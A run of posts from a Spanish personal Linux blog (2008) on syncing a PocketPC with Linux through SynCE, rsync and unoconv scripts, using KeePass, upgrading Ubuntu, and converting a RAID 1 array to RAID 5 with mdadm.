  •    Una vez hecho lo anterior podemos apagar la máquina, desconectar los discos duros antiguos y arrancar de nuevo. Si todo ha ido bien, el sistema debería arrancar sin mostrar ningún error y en el mismo punto de montaje deberíamos tener disponible el nuevo raid. Ahora ya sólo nos queda empezar a llenar de nuevo el raid y dentro de dos o tres años repetir el tutorial pero esta vez con discos duros de un par de teras... ;-).

    martes, 12 de agosto de 2008

    Usando una PocketPC en Linux (III): Sincronización de archivos y conversión de documentos

       Después de haber visto cómo configurar, conectar y gestionar los archivos de la PocketPC desde Linux, el siguiente paso es sincronizar nuestros documentos y archivos más importantes. En este apartado tenemos que distinguir entre dos tipos de archivos: los que requieren conversión y los que no. En el primer grupo se encuentran los archivos en formato PocketExcel y PocketWord y en el segundo tenemos fotos, música, archivos de texto, la base de datos de KeePass... La conversión de los archivos es muy importante porque lo que hace ActiveSync en windows cuando copiamos por ejemplo un archivo Excel a la PocketPC es convertirlo automáticamente a formato PocketExcel. Luego, si realizamos la copia a la inversa, ActiveSync lo convierte nuevamente de formato PocketExcel a Excel. Obviamente con esta conversión se pierde información compleja del archivo Excel como por ejemplo las macros, pero en mi caso no es problema porque las excel que utilizo en la PocketPC no suelen ser muy complejas. Por contra, al convertir los archivos a formato PocketExcel ganamos en velocidad de ejecución y tamaño.

       Aunque acabamos de comentar que ActiveSync realiza la conversión entre formatos al transferir los archivos, si copiamos un archivo Excel directamente a la SD (por ejemplo), lo podremos abrir sin mayor problema en la PocketPC (siempre teniendo claras sus limitaciones). Esta característica es la que vamos a utilizar para la conversión de archivos.

       En los repositorios de Ubuntu se encuentra disponible la utilidad unoconv que nos ayudará en nuestra tarea. Tal y como podemos leer en la ayuda, unoconv es una utilidad en línea de comandos (esto es lo realmente bueno) que nos permite realizar conversiones entre documentos soportados por OpenOffice. Necesita una instancia de OpenOffice para realizar la conversión, por lo que si no tenemos una en ejecución puede arrancar la suya propia de manera temporal.
    unoconv is a command line utility that can convert any file format that OpenOffice can
    import, to any file format that OpenOffice is capable of exporting.

    unoconv uses the OpenOffice's UNO bindings for non-interactive conversion of documents
    and therefor needs an OpenOffice instance to communicate with. Therefore if it cannot
    find one, it will start its own instance for temporary usage. If desired, one can
    start a "listener" instance to use for subsequent connections or even for remote
    connections.

       El uso es muy sencillo, arrancamos la instancia temporal de OpenOffice y realizamos la conversión entre los documentos.
    ivan@doraemon:~$ unoconv --listener &
    ivan@doraemon:~$ unoconv -f xls HojaCalculo.ods
    ivan@doraemon:~$ unoconv -f doc Documento.odt
    ivan@doraemon:~$ kill -15 %-
       Con esto hemos convertido a formato excel y word respectivamente los archivos HojaCalculo.ods y Documento.odt.

       Con este ejemplo se ve que es muy sencillo realizar un pequeño script que convierta nuestros archivos Excel a ODS y viceversa cada vez que queramos sincronizar la PocketPC. Esta misma conversión se podría hacer directamente entre los formatos PocketExcel y ODS, pero por alguna razón la conversión con unoconv falla. Sin embargo si ese mismo archivo PocketExcel lo intento abrir desde OpenOffice, funciona correctamente. Es por esto que la conversión la realizo entre Excel y ODS.

       Teniendo todo lo anterior en mente vamos a plantear el siguiente escenario para realizar la conversión.
  • En el PC trabajaremos con ODS/ODT y en la PocketPC con XLS/DOC.
  • En el PC tendremos los archivos a sincronizar en formato XLS/DOC para realizar la sincronización con la PocketPC. Así, aunque trabajemos en ODS/ODT tendremos que tener en otra carpeta los archivos que queramos sincronizar en formato XLS/DOC.
  • Para realizar la sincronización utilizaremos rsync puesto que podemos montar el filesystem completo de la PocketPC en el directorio que queramos tal y como vimos en el artículo anterior Usando una PocketPC en Linux (II): Gestión de archivos y programas.
  • Para la sincronización vamos a utilizar las opciones delete y update de rsync. Con delete lo que conseguiremos es que si borramos un archivo en el origen, éste se borre también en el destino. Con update no se sobreescriben archivos en el destino si la fecha es posterior a la del origen.
  • La sincronización se realiza en dos pasos, primero desde el ordenador a la PocketPC y posteriormente desde la PocketPC al ordenador.

  • #!/bin/sh
    #
    # syncPocketPC.sh: Script para la sincronización de la PocketPC
    # y linux por medio de rsync
    #
    # Iván López Martín
    # http://lopezivan.blogspot.com
    #

    SYNC_DIR=/home/ivan/MisDocs/PocketPC/
    TMP_SYNC_DIR=/home/ivan/MisDocs/PocketPC/tmp/
    POCKETPC_DIR=/home/ivan/PocketPC/SD\ Card/Personal/

    # Sincronización desde el PC a la PocketPC
    ####
    cd $TMP_SYNC_DIR
    unoconv --listener &
    unoconv -f xls $SYNC_DIR/*.ods
    unoconv -f doc $SYNC_DIR/*.odt

    mv $SYNC_DIR/*.xls $TMP_SYNC_DIR
    mv $SYNC_DIR/*.doc $TMP_SYNC_DIR
    kill -15 %-

    rsync -avz --delete --update ${TMP_SYNC_DIR} "${POCKETPC_DIR}"


    # Sincronización desde la PocketPC al PC
    ####
    rsync -avz --delete --update "${POCKETPC_DIR}" ${TMP_SYNC_DIR}

    cd $SYNC_DIR
    unoconv --listener &
    unoconv -f ods $TMP_SYNC_DIR/*.xls
    unoconv -f odt $TMP_SYNC_DIR/*.doc

    mv $TMP_SYNC_DIR/*.xls $SYNC_DIR
    mv $TMP_SYNC_DIR/*.doc $SYNC_DIR
    kill -15 %-

       Aunque la idea es buena este script tiene algunas limitaciones:
  • Aunque sólo se transfieran unos cuantos archivos entre la PocketPC y el ordenador, siempre se realiza la conversión de todos ellos. Habría que parsear el log de rsync para procesar posteriormente con unoconv sólo los archivos modificados.
  • Debido a lo anterior, la fecha de modificación de los archivos también cambia con cada sincronización.
  • Por propias limitaciones de unoconv, y según podemos leer en la ayuda, necesitamos una sesión X para arrancar la instancia de OpenOffice que realiza la conversión:
    unoconv uses the UNO bindings to connect to OpenOffice, in absence of a usable socket, it will start its own OpenOffice instance with the correct parameters. However, OpenOffice requires a working DISPLAY (even with -headless option) and therefor you cannot run it in a true console, you need X.

  •    Aún con las limitaciones comentadas anteriormente tenéis un esqueleto funcional para poder mejorarlo y hacer la versión 0.2 de script con las mejoras que he propuesto. Si alguien se anima a mejorarlo que me lo pase y actualizaré el artículo.

       Para finalizar añadir que también vamos a utilizar rsync para la sincronización de la base de datos de KeePass, así conseguimos tener siempre sincronizados los cambios que hagamos tanto en el ordenador como en la PocketPC. Recordamos que realizamos la sincronización en los dos sentidos para asegurarnos de tener la siempre la información más actual en todos los dispositivos.
    #!/bin/sh
    #
    # syncKeePass.sh: Script para la sincronización de la base de datos
    # de KeePass entre la PocketPC y linux por medio de rsync
    #
    # Iván López Martín
    # http://lopezivan.blogspot.com
    #
    LINUX_DIR=/home/ivan/MisDocs/
    POCKETPC_DIR=/home/ivan/PocketPC/SD\ Card/Personal/

    # Linux -> PocketPC
    rsync -avz --update --include=*.kdb --exclude=* "${LINUX_DIR}" "${POCKETPC_DIR}"

    # PocketPC -> Linux
    rsync -avz --update --include=*.kdb --exclude=* "${POCKETPC_DIR}" "${LINUX_DIR}"

       Con este pequeño script hemos logrado sincronizar nuestro archivo de passwords entre la PocketPC y Linux, además se podrían añadir otros tipos de archivos y otras rutas para adaptarlo a nuestras necesidades. Como siempre, estoy abierto a cualquier sugerencia para mejorarlo.

    lunes, 4 de agosto de 2008

    Usando una PocketPC en Linux (II): Gestión de archivos y programas

      Como continuación de la entrada anterior Usando una PocketPC en Linux (I): Conexión y configuración, en ésta vamos a ver cómo utilizar la PocketPC una vez que ya se habla con Linux. Más concretamente nos centraremos en la instalación de software y en la gestión de los archivos.

       Hay tres paquetes imprescindibles que nos ayudarán en esta tarea: synce-gnomevfs, synce-trayicon y synce-software-manager. Todos se pueden descargar desde Sourceforge.net. La versión que yo tengo instalada es la 0.9 puesto que la compilación de la última 0.12 me ha resultado imposible. He resuelto multitud de dependencias y he compilado algunas librerías y paquetes, pero finalmente no he sido capaz de compilar todo. Me temo que tendré que esperar a que saquen los binarios de la nueva versión o a intentarlo de nuevo en el futuro. Lo que he hecho es descargarme los paquetes de la versión 0.9 en formato rpm y convertirlos a .deb con alien para instalarlos de la manera habitual con dpkg.
  • synce-gnomevfs: Con este plugin podremos acceder al sistema de ficheros de la PocketPC desde Nautilus escribiendo simplemente synce:///. El problema es que al parecer sólo funciona hasta la versión 7.10 de Ubuntu. En su momento lo utilicé y la integración entre Nautilus y la PocketPC era muy buena.
  • synce-trayicon: Es un icono en el la barra de notificaciones que nos permite acceder a la PocketPC y conectarla y desconectarla.
  • synce-software-manager: Para instalar y desinstalar aplicaciones de forma gráfica de manera similar a como haríamos con windows. Por ejemplo, aquí muestro la instalación de la última versión de KeePass.


  •    El software de PocketPC en ocasiones no viene como un simple archivo .cab, sino que es un instalador .exe en el que viene empaquetado el archivo .cab correspondiente. Al ejecutar este instalador lo que ocurre es que se desempaqueta el .exe y por medio de ActiveSync se instala el .cab en la PocketPC. En el caso de encontrarnos con una aplicación en este formato, es un poco cuestión de suerte que la podamos instalar o no desde linux. Algunas se desempaquetarán correctamente (ejecutándose desde wine) y podremos instalar el .cab siguiendo el método anterior. Otras aplicaciones, sin embargo, no detectarán ActiveSync instalado y abortarán la instalación. Por ejemplo, la instalación de una demo del Advanced Brain Trainer se ha instalado sin problemas.


       Pero con alguna otra aplicación que he probado no ha funcionado correctamente por la ausencia de ActiveSync. En ese caso, creo que no queda otro remedio que acudir a windows (aunque eso sí, virtualizado) para instalar la aplicación.

       A parte de instalar software, lo más importante es navegar por las carpetas de la PocketPC y poder transferir archivos de una manera rápida y cómoda. Así, como alternativa a no poder utilizar Synce-gnomevfs he encontrado SynceFS que sí está disponible en formato .deb (también en Sourceforge.net) y que a mi entender es todavía mejor porque ofrece muchas más posibilidades como ya veremos en el siguiente artículo. Con esta utilidad podemos montar el filesystem completo de la PocketPC en cualquier directorio que queramos y podremos acceder a él y manipular los archivos directamente sin los comando synce-pls, synce-mkdir,...
    ivan@doraemon:~$ sudo apt-get install syncefs 

    ivan@doraemon:~$ sudo modprobe coda

    ivan@doraemon:~$ sudo echo "none /home/ivan/PocketPC cefs rw,user,noauto,codadev=/dev/cfs0 0 0" >> /etc/fstab

    ivan@doraemon:~$ mount PocketPC
    SynCE FS using "/dev/cfs0" (CODA v3)

    ivan@doraemon:~$ ls -l PocketPC
    total 1541
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:04 Application Data
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:59 Archivos de programa
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 11:00 ConnMgr
    drwxrwxr-x 1 ivan ivan 0 1998-01-01 13:00 iPAQ File Store
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:05 itn
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:59 My Documents
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:59 profiles
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:59 Program Files
    drwxrwxr-x 1 ivan ivan 0 1998-01-01 13:00 SD Card
    -rw-rw-r-- 1 ivan ivan 49152 2007-02-04 10:08 SystemHeap
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:59 Temp
    -rw-rw-r-- 1 ivan ivan 480400 2005-12-26 20:20 templ.voc
    drwxrwxr-x 1 ivan ivan 0 2006-12-30 17:48 TomTom
    drwxrwxr-x 1 ivan ivan 0 2004-01-01 02:59 Windows


    ivan@doraemon:~$ synce-pls ../ | sort -r
    --D------T 1998-01-01 13:00:00 SD Card/
    --D------T 1998-01-01 13:00:00 iPAQ File Store/
    Directory 2006-12-30 17:48:10 TomTom/
    Directory 2004-01-01 11:00:08 ConnMgr/
    Directory 2004-01-01 02:59:52 Program Files/
    Directory 2004-01-01 02:59:52 profiles/
    Directory 2004-01-01 02:59:51 My Documents/
    Directory 2004-01-01 02:59:51 Archivos de programa/
    Directory 2004-01-01 02:59:50 Windows/
    Directory 2004-01-01 02:59:50 Temp/
    Directory 2004-01-01 02:05:19 itn/
    Directory 2004-01-01 02:04:17 Application Data/
    Archive 49152 2007-02-04 10:08:19 SystemHeap
    AC-------- 480400 2005-12-26 20:20:33 templ.voc

       Como véis, es mucho más amigable usar ls que synce-pls y tratar la PocketPC como si fuera un directorio más en nuestro sistema.

    jueves, 24 de julio de 2008

    Usando una PocketPC en Linux (I): Conexión y configuración

       Una vez que decides cambiar de windows a linux haces una lista con los programas que utilizas para buscar sustitutos en linux y poder seguir trabajando como antes. Poco a poco vas adaptándote a esos nuevos programas y por fin te queda muy poco por migrar. Algo que he ido dejando ha sido la sincronización entre mi PocketPC y Linux.
  • Lo primero que tenemos que hacer es conectar la PocketPC a la docking y ver si linux la reconoce sin problemas.
    ivan@doraemon:~$ dmesg
    [784.372804] usb 1-2: new full speed USB device using uhci_hcd and address 5
    [784.539787] usb 1-2: configuration #1 chosen from 1 choice
    [784.542744] ipaq 1-2:1.0: PocketPC PDA converter detected
    [784.544972] usb 1-2: PocketPC PDA converter now attached to ttyUSB0
  • Ahora instalamos los paquetes necesarios para la comunicación con la PocketPC.
    ivan@doraemon:~$ sudo apt-get install synce-serial synce-dccm librra0 librra0-tools librapi2-tools
  • Durante la instalación de Synce tendremos que configurarlo. Con las opciones que aparecen por defecto es más que suficiente. El DNS sólo lo rellenaremos en caso de que queramos navegar desde la PocketPC.
    Puerto: /dev/ttyUSB0
    IPs: 192.168.131.102 y 192.168.131.201
    DNS:
  • Configuramos Synce y le indicamos dónde está la PocketPC:
    ivan@doraemon:~$ sudo synce-serial-config ttyUSB0

    You can now run synce-serial-start to start a serial connection.
  • Ejecutamos dccm que es el demonio encargado de gestionar la conexión con la PocketPC:
    ivan@doraemon:~$ dccm
  • Por fin, iniciamos la conexión con la PocketPC:
    ivan@doraemon:~$ sudo synce-serial-start

    synce-serial-start is now waiting for your device to connect

  •    Y listo, si todo ha ido bien ya tendremos nuestra PocketPC conectada a Linux. Puede que todavía en la PocketPC no se haya detectado la conexión, en este caso lo único que tenemos que hacer es ejecutar a mano ActiveSync.

       Una vez conectada, vamos a probarlo y a ver cómo gestionarla:
  • Por ejemplo podemos hacer un ping a la IP que configuramos al instalar Synce:
    ivan@doraemon:~$ ping -c 2 192.168.131.201
    PING 192.168.131.201 (192.168.131.201) 56(84) bytes of data.
    64 bytes from 192.168.131.201: icmp_seq=1 ttl=128 time=2.94 ms
    64 bytes from 192.168.131.201: icmp_seq=2 ttl=128 time=2.79 ms

    --- 192.168.131.201 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1003ms
    rtt min/avg/max/mdev = 2.799/2.873/2.948/0.091 ms
  • También podemos, por ejemplo, ejecutar synce-pstatus para ver la información de nuestra PocketPC como la versión del sistema operativo, la batería restante,...:
    ivan@doraemon:~$ synce-pstatus
    Version
    =======
    Version: 4.21.1088 (Microsoft Windows Mobile 2003 Pocket PC Phone Edition)
    Platform: 3 (Windows CE)
    Details: ""

    System
    ======
    Processor architecture: 5 (ARM)
    Processor type: 2577 (StrongARM)
    Page size: 0x10000

    Power
    =====
    ACLineStatus: 00 (Offline)

    Status for main battery
    =========================
    Flag: 1 (High)
    LifePercent: 55%
    LifeTime: 32895
    FullLifeTime: 7048

    Status for backup battery
    =========================
    Flag: 1 (High)
    LifePercent: 100%
    LifeTime: Unknown
    FullLifeTime: Unknown

    Store
    =====
    Store size: 69423104 bytes (66 megabytes)
    Free space: 35657576 bytes (34 megabytes)

    Memory for storage: 69611520 bytes (66 megabytes)
    Memory for RAM: 59920384 bytes (57 megabytes)

  •    Hay más comandos con los que poder juguetear e interactuar con nuestra PocketPC, siendo la mayoría similares a los equivalentes desde línea de comandos: ls, mv, rm, mkdir,...: synce-pls, synce-pmv, synce-prm,...

       También podemos configurar la sincronización con Evolution tanto de los contactos, las tareas o las citas. Para ello es necesario instalar adicionalmente el paquete synce-multisync-plugin. Aunque he estado probando la sincronización de las citas, tareas y contactos, no es algo a lo que le de mucha importancia porque ni siquiera lo hacía en windows, así que en linux tampoco lo voy a usar. Sólo quiero comentar que al menos en mi caso la sincronización me lió una buena puesto que me duplicó contactos y citas en la PocketPC y luego los tuve que ir borrando a mano. En fín, un aspecto a mejorar...

       Seguimos. Cada vez que conectemos nuestra PocketPC tenemos que ejecutar tanto dccm como synce-serial-start, éste último como root. Para solucionar este pequeño problema podemos hacer uso de las reglas udev. Tenéis un excelente artículo en el blog de Vicente Navarro.

        Creamos la regla y la cargamos:
    ivan@doraemon:~$ sudo vi /etc/udev/rules.d/60-ipaq.rules
    BUS!="usb", ACTION!="add", KERNEL!="ttyUSB*", GOTO="synce_rules_end"
    RUN+="/usr/bin/synce-serial-start"
    LABEL="synce_rules_end"

    ivan@doraemon:~$ sudo /etc/init.d/udev reload
    * Reloading kernel event manager... [ OK ]

       Luego, si trabajamos por ejemplo con Ubuntu, desde el menú System->Preferences->Sessions añadimos que dccm (/usr/bin/dccm) se ejecute al comienzo de la sesión y listo. Ahora cada vez que conectemos la PocketPC se conectará automáticamente al ordenador.

    sábado, 12 de julio de 2008

    Cómo gestionar nuestras contraseñas

       En los tiempos que corren todo el mundo gestiona gran cantidad de contraseñas: el pin del móvil, la contraseña del pc del trabajo, de casa, cuentas de correo, del banco, foros, webs,... En total debemos recordar una gran cantidad de usuarios y contraseñas diferentes en nuestro día a día. En los servicios que utilizamos con más frecuencia no hay problema, pero ¿qué ocurre con esas webs en las que entramos muy de vez en cuando?. En la mayoría de los casos optamos por la solución más radical: la misma contraseña para todos los sitios o como mucho dos o tres que prácticamente son la misma con pequeñas variaciones.

       Existen gran cantidad de programas para ayudarnos a gestionar las contraseñas pero yo me quedo con KeePass. Los motivos: además de ser open source también es multiplataforma. Estos dos motivos, tratandose de un software en el que vamos a depositar toda nuestra información privada, creo que son suficientemente importantes para que nos decidamos a utilizar esta herramienta frente a otras. El código fuente está disponible y cualquiera que lo desee lo puede auditar para comprobar que no hay puertas traseras y ni fallos en la implementación. Tratándose de información tan sensible, a mi esta herramienta me inspira gran confianza.
    Antes lo utilizaba en windows y ahora lo utilizo en linux (KeePassX) y también en la PocketPc (KeePassPPC).

       Con este programa sólo es necesario recordar una contraseña, la que se utiliza para cifrar el archivo en el que se almacenan todas nuestras contraseñas. La interfaz es muy intuitiva y sencilla de utilizar y permite agrupar las contraseñas por grupos, añadir información adicional, generar contraseñas aleatorias si no queremos pensar ninguna, definir fechas de expiración que nos recuerden que debemos cambiar la contraseña,... De hecho, una vez generadas las contraseñas, ni siquiera tenemos que visualizarlas y copiarlas en la web a la que queremos acceder. Haciendo doble-click en el password, éste se nos copia al portapapeles para que podamos pegarlo en la web y a los 10 segundos se borra automáticamente para evitar que pueda caer en manos peligrosas.

       Os pongo un par de pantallazos de la interfaz Linux y PocketPc. Como podéis ver son muy parecidas y hacen su trabajo a la perfección.
    Interfaz LinuxInterfaz PocketPc

       Además, a esto le añadimos que también existe una versión portable que siempre llevo en un pendrive conmigo, ya no tenemos excusa para poder tener passwords realmente complicados y todos distintos para cada servicio de internet. Lo único de lo que debemos preocuparnos es de tener sincronizados el archivo de la base de datos entre el ordenador, la PocketPc y el pendrive para estar siempre con la información al día. Pero eso ya lo veremos en otro post...

    miércoles, 7 de mayo de 2008

    Actualizando a Hardy Heron

       Por fin he tenido tiempo para actualizar mi versión de Ubuntu a Hardy Heron. Después de más de 1 Gbyte de paquetes para descargar y casi 2 horas actualizando, reinicié la máquina y tuve el primer fallo. Me cargaba el entorno gráfico pero nunca salía la ventana de login, se quedaba el reloj dando vueltas y vueltas. Lo primero que se me ocurrió fue cambiarme de terminal con CRTL + ALT + F1, conectarme con mi usuario y reiniciar GDM. El resultado fue el mismo. Lo siguiente fue pararlo y entrar en modo gráfico con el mítico startx. En ese caso sí arrancaba y todo funcionaba a la perfección. El error sólo podía ser del GDM, así que después de buscar un rato llegué a este enlace en el que a más gente le ocurría lo mismo. Al final, la solución la encontré aquí. Finalmente, lo que pasaba era que había un problema con el paquete ubuntu-gdm-themes y no funcionaba correctamente con algunas configuraciones. En mi caso era porque tenía instalado un tema para el gdm distinto al original y parecía que no era compatible. Lo arreglé y cambié el tema y todo solucionado.

       Otro pequeño problema ha sido con Firefox 3. La versión que han incluído por defecto en Hardy ha sido la beta 5, lo que desde mi punto de vista no ha sido muy acertado. La he probado un rato y se nota la velocidad, pero la mayoría de las extensiones que utilizo no funcionan todavía en firefox 3, por lo que he tenido que desinstalar ésta e instalar la antigua 2.0.0.14.

       El resto han sido todo cosas buenas. Noto que el sistema va mucho más ligero y fluído. Los programas cargan antes y todo es mucho más rápido en general. Además la nueva versión de CompizFusion es rápida y estable y ha solucionado un pequeño problema que tenía con la versión anterior que no me guardaba algunos cambios. A falta de trabajar más días con esta nueva versión, mis primeras impresiones son muy satisfactorias y se ha mejorado bastante respecto a gutsy. Ahora ya sólo me queda compilar el kernel a mi gusto, probar la webcam usb, el infrarrojo y terminar de afinar un poco la configuración para dejarlo todo adaptado a mi gusto.

    martes, 1 de abril de 2008

    Convertir un raid 1 a un raid 5 sin formatear

       Hace un mes Javier Ros me contaba que se había montado un servidor Ubuntu en casa con un raid 1 para almacenar sus datos siguiendo mi artículo del Raid 1 en Linux. En ese mismo comentario me planteaba que se le estaba llenando el raid y que en lugar de hacer un nuevo raid 1 (puesto que necesitaba dos discos adicionales) había pensado en hacer un raid 5 añadiendo solamente un disco más. Así, me pasaba un enlace que había encontrado en el que se muestra cómo pasar de un raid 1 a un raid 5 sin necesidad de formatear y sin perder la información.

       Como sabéis, no me creo las cosas si no las pruebo. Además he estado buscando información sobre cómo funciona un raid 5 y cómo puede ser posible hacer el cambio sin perder los datos. Así, en este artículo vamos a ver un poco de teoría, posteriormente la conversión de un raid 1 a raid 5 siguiendo el tutorial inicial añadiendo mis propios comentarios, y finalmente mis impresiones sobre el raid 5.

    Un poco de Teoría
       Un raid 5 es la evolución lógica de un raid 4. Divide los datos en bloques y distribuye la paridad entre el total de discos del raid. Así, se elimina el problema del raid 4 de tener la paridad en un único disco y que éste se convierta en un cuello de botella. Este tipo de raid tiene una tolerancia a los fallos de un disco. Si uno falla el raid puede seguir funcionando y cuando se reemplaza el disco que ha fallado, se puede reconstruir la información que falta partiendo de la existente en el resto de discos.

       El cálculo de la paridad se realiza con la función lógica XOR cuya característica es que devuelve 1 si los bits de entrada son diferentes y 0 si son iguales. Esta es una característica muy importante puesto hace que dicha función sea reversible. Veámoslo con un ejemplo para que quede más claro:
     BinarioDecimal
    A11000110198
    B0010010137
    XOR11100011227

       Como hemos dicho, la función es reversible, por lo que si "le damos la vuelta":
     BinarioDecimal
    A11000110198
    B11100011227
    XOR0010010137

       Es decir, que partiendo de A y teniendo la paridad podemos calcular B. Esta propiedad también se aplica a A XOR B XOR C XOR D ... XOR N = PARIDAD, de manera que si tenemos un raid de N discos y falla cualquiera, la información que falta se puede calcular sin problemas partiendo del resto de datos y de la paridad.

       El truco para realizar la conversión consiste en que si aplicamos dicho algoritmo a dos discos, lo que obtenemos es que los dos discos se quedan en espejo!. Esto es así porque la paridad de un único bloque es él mismo, debido a que el algorimo del raid 5 necesita al menos dos bloques. Así, la única diferencia entre un raid 1 de dos discos y un raid 5 de dos discos son los metadatos. Si reemplazamos estos metadatos convertiremos el raid 1 en un raid 5.

    La parte práctica
       Ahora ya sí, con la teoría aprendida vamos a realizar la conversión. Partimos de un sistema Debian ya instalado con un raid 1 creado con 2 discos y al 99% de su capacidad.
    shian:~# df -h
    Filesystem Size Used Avail Use% Mounted on
    /dev/md3 496M 464M 6.3M 99% /mnt/md3

  • Desmontamos el raid y lo paramos.
    shian:~# umount /dev/md3
    shian:~# mdadm --stop /dev/md3
    mdadm: stopped /dev/md3
  • Creamos el raid 5 con los dos dispositivos del raid 1 (sdf1 y sdg1).
    shian:~# mdadm --create /dev/md3 --level=5 --raid-devices=2 /dev/sdf1 /dev/sdg1
    mdadm: /dev/sdf1 appears to contain an ext2fs file system
    size=524160K mtime=Wed Mar 26 16:43:27 2008
    mdadm: /dev/sdf1 appears to be part of a raid array:
    level=raid1 devices=2 ctime=Wed Mar 26 15:09:37 2008
    mdadm: /dev/sdg1 appears to contain an ext2fs file system
    size=524160K mtime=Wed Mar 26 16:43:27 2008
    mdadm: /dev/sdg1 appears to be part of a raid array:
    level=raid1 devices=2 ctime=Wed Mar 26 15:09:37 2008
    Continue creating array? y
    mdadm: array /dev/md3 started.
  • Podemos observar cómo se reconstruye el raid y en la información detallada vemos que ya es un raid 5.
    shian:~# cat /proc/mdstat
    Personalities : [raid1] [raid6] [raid5] [raid4]
    md3 : active raid5 sdg1[2] sdf1[0]
    524160 blocks level 5, 64k chunk, algorithm 2 [2/1] [U_]
    [=====>...............] recovery = 27.1% (143104/524160) finish=0.5min speed=11008K/sec

    shian:~# mdadm --detail /dev/md3
    /dev/md3:
    Version : 00.90.03
    Creation Time : Wed Mar 26 17:19:26 2008
    Raid Level : raid5
    Array Size : 524160 (511.96 MiB 536.74 MB)
    Device Size : 524160 (511.96 MiB 536.74 MB)
    Raid Devices : 2
    Total Devices : 2
    Preferred Minor : 3
    Persistence : Superblock is persistent

    Update Time : Wed Mar 26 17:20:16 2008
    State : clean
    Active Devices : 2
    Working Devices : 2
    Failed Devices : 0
    Spare Devices : 0

    Layout : left-symmetric
    Chunk Size : 64K

    UUID : df77ed88:83aa5bac:daa25bcf:b5b2c6e7
    Events : 0.2

    Number Major Minor RaidDevice State
    0 8 81 0 active sync /dev/sdf1
    1 8 97 1 active sync /dev/sdg1
  • Ahora añadimos el nuevo disco para tener los 3 que queremos en el raid 5 y ampliamos el dispositivo. Podemos comprobar que se ha añadido el nuevo disco que se está redimensionando el raid.
    shian:~# mdadm --add /dev/md3 /dev/sdh1
    mdadm: added /dev/sdh1

    shian:~# mdadm --grow /dev/md3 --raid-disks=3 --backup-file=/tmp/raid1-5.backup
    mdadm: Need to backup 128K of critical section..
    mdadm: ... critical section passed.

    shian:~# cat /proc/mdstat
    Personalities : [raid1] [raid6] [raid5] [raid4]
    md3 : active raid5 sdh1[2] sdg1[1] sdf1[0]
    524160 blocks super 0.91 level 5, 64k chunk, algorithm 2 [3/3] [UUU]
    [=>...................] reshape = 8.3% (44544/524160) finish=2.6min speed=2969K/sec
  • Forzamos la comprobación del filesystem y lo redimensionamos.
    shian:~# e2fsck -f /dev/md3
    e2fsck 1.40-WIP (14-Nov-2006)
    Pass 1: Checking inodes, blocks, and sizes
    Pass 2: Checking directory structure
    Pass 3: Checking directory connectivity
    Pass 4: Checking reference counts
    Pass 5: Checking group summary information
    /dev/md3: 20680/131072 files (0.6% non-contiguous), 491521/524160 blocks

    shian:~# resize2fs -p /dev/md3
    resize2fs 1.40-WIP (14-Nov-2006)
    Resizing the filesystem on /dev/md3 to 1048320 (1k) blocks.
    Begin pass 1 (max = 64)
    Extending the inode table XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    The filesystem on /dev/md3 is now 1048320 blocks long.
  • Después de montar de nuevo el raid, comprobamos el nuevo tamaño (los 500MB del nuevo disco):
    shian:~# df -h
    Filesystem Size Used Avail Use% Mounted on
    /dev/md3 992M 465M 476M 50% /mnt/md3
  • No se nos puede olvidar finalmente modificar el archivo /etc/mdadm.conf para que se actualicen los datos de nuestro nuevo raid 5.
    shian:~# cd /etc/mdadm
    shian:/etc/mdadm# cp mdadm.conf mdadm.conf.`date +%y%m%d`
    shian:/etc/mdadm# echo "DEVICE partitions" > mdadm.conf
    shian:/etc/mdadm# mdadm --detail --scan >> mdadm.conf

  • Conclusiones
       Hemos visto que es posible realizar la conversión de un raid 1 a un raid 5 sin perder los datos y sin necesidad de recrear el raid desde cero. Aún así, la pregunta es ¿merece la pena pasar a un raid 5?.
       Depende. Para un entorno doméstico sin mucha carga y sin un uso muy intensivo yo diría que sí. La alternativa a tener un raid 5 pasa por un raid 10, pero en este caso ya necesitaríamos 4 discos en lugar de tres. La capacidad del volumen total sería la misma en ambos casos, pero para el raid 10 utilizaríamos un disco más!. En el lado positivo tendríamos dos discos de redundancia a fallos (uno de cada mirror), recuperaciones mucho más rápidas y mayor rendimiento.
       Por contra, el principal problema del raid 5 es el tiempo de recuperación en caso de fallo de un disco y el pobre rendimiento que obtenemos cuando se está realizando dicha recuperación. De nuevo, en un entorno doméstico esto no debería representar mayor problema, pero aún así es un hecho a tener en cuenta antes de tomar la decisión final.

    lunes, 24 de marzo de 2008

    Un escritorio diferente

       El otro día toqué por primera vez un windows vista. Un compañero del trabajo se compró un portatil nuevo y se lo llevó para enseñárnoslo. Quise ver el nuevo interfaz Aero y la verdad es que me pareció muy básico y pobre. Les comenté a mis compañeros que iba a hacer un video de mi escritorio de Linux para que vieran unos efectos de verdad con CompizFusion y sin necesidad de una máquina y una gráfica muy potentes. Sin más, este es el video:



       Sé que muchos de estos efectos son pijadas, pero hay muchas opciones que son realmente útiles y sí que aumentan la productividad a la hora de trabajar.

       Por supuesto todo el proceso de realización del video está realizado con software libre. La grabación la he hecho con XVidCap, para el montaje he utilizado KDEnlive y para añadir la música y redimensionar el video final mencoder.

    jueves, 13 de marzo de 2008

    Raid 1 en un sistema ya instalado

       En el artículo del Raid 1 en linux veíamos cómo montar un raid 1 con Debian para tener fiablidad en nuestros datos y en el caso de que fallase un disco no perderlos. De esta forma aseguramos nuestros datos, pero en caso de fallo del disco de sistema irremediablemente tendríamos que instalar de nuevo todo.

       Lo que vamos a ver en este artículo es cómo montar un raid 1 completo de todo el sistema Debian, con éste ya instalado y funcionando. De esta forma contesto a varias personas que me han pedido este artículo tanto en los comentarios del primero como por email. Para no hacer muy pesado el artículo obviaré algunas partes que están detalladas en el artículo anterior del raid 1, por lo que si algún paso no lo comprendes, por favor lee el artículo anterior para aclarar las dudas.

       Debo aclarar que este tutorial está pensado para Debian y similares por lo que en otras distribuciones no funcionará correctamente al no existir el comando update-initramfs.

